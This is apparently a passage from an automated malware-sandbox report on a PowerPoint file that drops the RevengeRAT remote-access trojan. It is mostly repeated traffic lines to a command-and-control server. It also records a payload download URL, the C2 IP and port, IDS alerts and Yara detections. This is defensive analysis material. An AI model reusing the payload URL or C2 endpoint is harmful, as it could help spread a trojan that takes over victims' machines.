Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222
Source: global traffic TCP traffic: 54.146.241.16:5222 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.146.241.16:5222

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2841113 - Severity 1 - ETPRO MALWARE MSIL/Revenge-RAT CnC Checkin M4 : 192.168.2.22:49162 -> 54.146.241.16:5222
Source: Network traffic Suricata IDS: 2035885 - Severity 1 - ET MALWARE MSIL/Revenge-RAT Keep-Alive Activity (Outbound) M2 : 192.168.2.22:49162 -> 54.146.241.16:5222
Source: Network traffic Suricata IDS: 2841113 - Severity 1 - ETPRO MALWARE MSIL/Revenge-RAT CnC Checkin M4 : 192.168.2.22:49163 -> 54.146.241.16:5222
Source: Network traffic Suricata IDS: 2035885 - Severity 1 - ET MALWARE MSIL/Revenge-RAT Keep-Alive Activity (Outbound) M2 : 192.168.2.22:49163 -> 54.146.241.16:5222
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 54.146.241.16:5222
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 204.155.149.130 204.155.149.130
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AMAZON-AESUS AMAZON-AESUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /download/HTECcE8I/teste.jpg?dsid=iLgBhr5m.e6fdc68815f2d2b1fee7da84fdc10bdc&sbsr=e4b3f7db0e6fd63a909a2c71eee2fb8cb29&bip=MjAxLjIwLjEyNy4xOTg&lgfp=40 HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: dc708.4sync.comConnection: Keep-Alive
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: unknown TCP traffic detected without corresponding DNS query: 54.146.241.16
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\teste[1].jpg Jump to behavior
Source: global traffic HTTP traffic detected: GET /download/HTECcE8I/teste.jpg?dsid=iLgBhr5m.e6fdc68815f2d2b1fee7da84fdc10bdc&sbsr=e4b3f7db0e6fd63a909a2c71eee2fb8cb29&bip=MjAxLjIwLjEyNy4xOTg&lgfp=40 HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: dc708.4sync.comConnection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: dc708.4sync.com
Source: powershell.exe, 0000000E.00000002.433967544.0000000012451000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000A.00000002.1046358937.0000000002601000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1045590566.00000000024E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.432730170.0000000002438000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1045537995.0000000002451000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1045628529.00000000026A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.418672455.0000000002421000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1042704467.00000000023C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.1046428347.0000000002491000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.436983924.0000000002411000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000020.00000002.1043183629.00000000024A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.1044515511.0000000002471000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1044517063.0000000002341000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000027.00000002.1046335192.0000000002501000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000E.00000002.433967544.0000000012451000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000E.00000002.433967544.0000000012451000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000E.00000002.433967544.0000000012451000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000E.00000002.433967544.0000000012451000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: unknown Network traffic detected: HTTP traffic on port 49161 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49161
Source: unknown HTTPS traffic detected: 204.155.149.130:443 -> 192.168.2.22:49161 version: TLS 1.2

E-Banking Fraud
barindex
Yara detected RevengeRAT
Source: Yara match File source: 21.2.powershell.exe.1e00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 28.2.powershell.exe.2a0eff8.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.powershell.exe.1e00000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 39.2.powershell.exe.28131d0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.powershell.exe.2755020.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.powershell.exe.2a1d128.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 39.2.powershell.exe.2b132a8.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.powershell.exe.2755020.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 28.2.powershell.exe.2a0eff8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.powershell.exe.2a1d128.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 39.2.powershell.exe.28131d0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 39.2.powershell.exe.2b132a8.1.raw.unpack, type: UNPACKEDPE
